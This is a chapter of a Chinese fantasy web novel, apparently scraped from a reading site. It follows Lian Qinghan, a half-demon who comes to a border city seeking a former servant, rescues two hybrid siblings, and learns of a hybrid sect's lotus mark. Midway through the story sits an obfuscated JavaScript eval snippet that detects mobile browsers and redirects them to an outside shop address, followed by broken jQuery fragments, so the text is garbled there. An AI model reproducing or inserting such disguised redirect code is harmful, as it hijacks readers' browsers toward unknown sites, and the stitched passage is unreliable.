一月后,旄山竹海随风摇曳,山间的鸟雀追逐着叽喳喧闹。
“哎,那个姓连的呢?”
凌雀看到空荡荡的屋子,抬头问不远处晒太阳的大长老。
为了研究新的毒药,凌雀在药庐里关了好几日,才刚刚出来,便顺路来大长老这里看看。
大长老撩起眼皮瞅了她一眼,慢悠悠道,“三天前就走了。”
“他的伤好了?”凌雀有些惊讶。
大长老懒得开口,只摇摇头便不再说话。
那个小子看着不声不响,性子是真倔,身上的伤还没好全,拦不住地想往外跑。
扁鹊羽族虽然生活在魔域,但是专于医道,对于人魔之争其实并不关心,是以除了魔族,偶尔也会有人族病急投医。
大长老对医卜星象皆有涉猎,替连倾寒诊治的时候,发现他虽然是人魔混血,但是属于人族的气运机缘极其深厚,很有可能成为正道之首。
但不知为何,如今却几近稀薄。
他曾听闻过有转移气运的邪术,不过早已列为禁术,等闲之人无法使用。
但是连倾寒身上发生的变故,显然是有人刻意为之。
听完他的一番话,当时连倾寒沉默许久,不知想了些什么,最后只低声道:“多谢提醒。此事……我心中有数。”
他不是未曾注意过自己的机缘变化,但他始终觉得这世上有得必有失,若是舍弃一些东西就能换取另外一些东西,也并非不能接受。
只不过,赌徒的结局往往是得不偿失。
-
魔域,边城。
此处是人界与魔域交界之地,鱼龙混杂。城中不管是魔族、人族、还是混种,都随处可见。
在此处流亡的人族多是穷凶极恶之徒,多半在人界犯了事,逃窜到这三不管地界,跟魔族打交道。
人魔混居,难免有看对眼,或者一时兴起春风一度的。
于是边城出现了很多人魔混种。
戴着斗笠、披着披风的连倾寒目光扫过在墙根蹲了一排的混种小孩儿。
他们大多衣衫褴褛,有的一只手是狼的爪子,连接在人的胳膊上;有的长出半边畸形的翅膀,无力地耷拉在身后;还有的脸上生了鹰嘴,张嘴说不清楚话只能比划。
人魔混种,其实很难有像连倾寒一样完美融合人族与魔族全部天赋与特征的人。
就连连倾寒,羽毛也并非像乌重越一样的黑色,而是变成了相反的白色。
在筑巢期到来之时,往往也要承受比普通有翼魔族更为频繁的躁动。
这是属于混种不可逆转的缺陷。
这些流落街头的混种往往是风流一度后的产物,没人愿意真的老老实实将他们养大。
更何况,大部分生下来都是畸形的,既无法完美保持人族的形态,也无法拥有魔族的完整力量。
就算是在鱼龙混杂的边城,也是被魔族和人族都看不起的存在。
连倾寒小时候曾经听叶枭他们说过这些畸形混种的存在,但还是第一次亲眼见到。
他一路从旄山来到边城,是为了寻找一个人。
乌重越留给他的信上隐晦地提及了那个人在边城。
只有找到他,才有可能拿到乌羽令。
大长老说的没错,属于人族的气运机缘离他而去,那么,他便做一个彻头彻尾的魔族好了。
连倾寒的脸色呈现一种病态的苍白,他拉低帽檐,融入来往人群中,朝着专门买卖情报消息的暗影楼而去。
拐过街角,对面忽然冲过来一道身影,哎哟一声摔倒在连倾寒面前。
是个头上长着一对猫耳的混种,才七八岁,绿色的猫瞳。
“啊!好疼,你把我撞坏了,我好几天都走不了路啦,你得赔钱!”
小猫混种大声嚷嚷着,身后的尾巴紧张地摆来摆去。
连倾寒身形高大笔挺,站在原地不动,就很有压迫感。
小猫混种有点怂了,但还是颤着嗓子虚张声势,“你得赔钱,赔十……五个馒头的钱!”
“可以。”
在小猫混种快要真的哭出来之前,连倾寒应下,即使方才她根本没碰到自己。
等连倾寒买了馒头扔给她的时候,她掰着手指头数了一遍,不可置信地道:“这是十个馒头,你给多了!”
抬起头,眼前已经没了那人的身影。
……
暗影楼的位置避开了嘈杂的街道,外表看起来像个毫不起眼的茶楼。
“要买消息,还是卖消息?”
一个留着两撇小胡子的中年人坐在桌前,声音尖细。
连倾寒语气淡淡道:“找人,之前在乌羽宫做扫地杂役的哑奴。”
小胡子抬起头,一双窄眼睛将他上上下下打量一遍。
黑衣,斗笠,打扮得平平无奇,想必是为了遮掩斗笠下那张过于出色的脸,但是通身矜贵的气度却难掩。
小胡子提笔在纸上写了什么,撂下一句“等着”,便转身进了内室。
过了足足半个时辰才出来,他抹了抹额上的汗,叫苦:“你这人可不好找。”
“要多少魔晶?”
小胡子嘿嘿笑了两声,右手比划着晃晃,“这个数,五千魔晶。”
连倾寒来的路上杀了不少拦路的魔族,剿下的东西此刻派上了用场。
小胡子见他面不改色地掏出足量的魔晶,赶紧喜滋滋地塞进怀里,心中慨叹,早知多报一点了。
对上连倾寒审视的视线,仿佛被看透了心思,他连忙讪笑一声,“西城石头街水塘巷子,从最外面数第四家,就是你要找的人。”
连倾寒出了暗影阁,往西行。
石头街名副其实,一整条街的房子都是石头搭建,低矮,摇摇欲坠。
从缝隙里露出一双双好奇的眼睛。
黑的蓝的绿的,这里似乎住了许多混种。
连倾寒收回视线,顺着街道往前。
经过一座石房子的时候,从大敞的门内摔出来一个人。
不,似乎也是个混种。
他的头发像蓬松的鸟羽,顶在属于人的脑袋上显得十分怪异。
只有一条腿,另一边的裤腿空荡荡,或者里面有一条畸形的鸟腿也说不定。
连倾寒正在思索这是否是今天的第二次碰瓷,房子里又走出来两个魔族。
他们手中挟持着一个大声哭嚎、拼命挣扎的混种。
十分眼熟。
是那个碰瓷的小猫混种。
躺在地上的鸟族混种挣扎着,想要凭借一条腿爬起来,声嘶力竭:“放开她!放开我妹妹!”
魔族根本不将他放在眼里,大言不惭道:“齐清,我们大王看上你妹妹,想让她去伺候几天,是你妹妹的福气。你们这些混种,平时多看一眼都怕脏了眼睛,活在着世上有什么……”
他话还没说完,就倒飞出去,砸倒了石头围墙。
另一个魔族警惕地看向连倾寒,下一秒,也飞了出去,这次避开了围墙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759283|186500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小猫混种哭着跑到躺在地上的齐清身边,把他扶起来,“哥哥,你没事吧?”
“淼淼,我没事。”他勉力站起身,朝着连倾寒道谢,“多谢这位公子出手相助,齐清实在无以为报。若您有什么需要,赴汤蹈火,在所不辞。”
除了像羽毛的头发,他看起来就像一个平常的人族,或者说,虚弱的人族。
只不过方才与那些魔族缠斗过,现在狼狈不堪,胸前还印着一个发紫的脚印。
连倾寒从黑斗篷下伸出一只手,指间捏着白色瓷瓶,“伤药。”
齐清连忙推拒,淼淼却急得不行,“哥!我们没钱买药的!”
“我用不上。”连倾寒语气平淡。
齐清这才接了过来,脸上愧色更浓,“真不知该怎么感谢你……”
淼淼嫌弃哥哥磨叽,夺过药瓶,直接扒开他的胸口往上洒了一些药粉。
连倾寒正准备离开,却忽然被吸引了视线。
齐清的胸口上,左胸靠近心脏的地方,描着一朵重瓣金边莲花。
跟他胸口上的一模一样。
看到连倾寒的眼神落在那朵莲花上,齐清主动解释道:“这是枕冰莲,从小就有了……”
“枕冰莲?”
连倾寒还是第一次听到这个名字。
上好了药,齐清拉上衣襟,示意他到屋子里去。
坐在昏暗的小石桌前,齐清放低了声音,“不知道你有没有听说过,曾经有一个组织,叫做混元门?”
连倾寒摇头。
齐清指着胸口上莲花的位置:“这个,就是混元门给收留的混种留下的标记。”
他尽力回忆了一下,“我记得小时候,我跟很多混种都住在混元门。那里非常偏僻寒冷,但是周围长满了枕冰莲,一种生长在冰面上的莲花,很漂亮。”
“混元门的人会用莲花的汁液在身上刺青,每个人都有。”
连倾寒掀起眼帘:“混元门是做什么的?”
齐清仔细斟酌了一下,“小时候还真没想过是做什么的,后来知道的多了,也听说了一些消息。混元门,全是由我们这些混种组成,连首领也是混种。”
他顿了顿,目光扫过自己少了的那条腿,面露苦涩,“你应该知道吧,像我们这些混种,基本上生下来都带着残疾,谁都瞧不起。混元门,就是当时的混种首领组建的独属于混种的组织。”
连倾寒眼神微动,他居然完全没听说过这个混元门。
但是,自己身上却带着混元门的标记。
这朵莲花,从他有记忆时就在他身上。
小时候连倾寒还问过娘亲,娘亲却总是怔怔地看着莲花流泪,他就不敢继续问了。
齐清叹了口气,自顾自地讲了下去,“但是,前任魔尊在位的时候,杀了当时混元门的首领。群龙无首,混元门也解散了。”
他看向连倾寒,试探地问:“你应该也是混种吧?”
只不过外表看起来与人族无异。
连倾寒不置可否,反问道:“前任魔尊为何要杀混元门首领?”
“这我就不知道了。混元门解散之后,我们就来到了边城。再也没有第二个混种有能力组建像混元门那样独属于混种的组织了。”
他的语气似感慨似怀念,想必以前的混元门,算得上一个混种的庇护所。
连倾寒面色依旧平静,起身告辞,他要继续去寻哑奴。
至于混元门与莲花印记,早晚有一日他会全都弄清楚。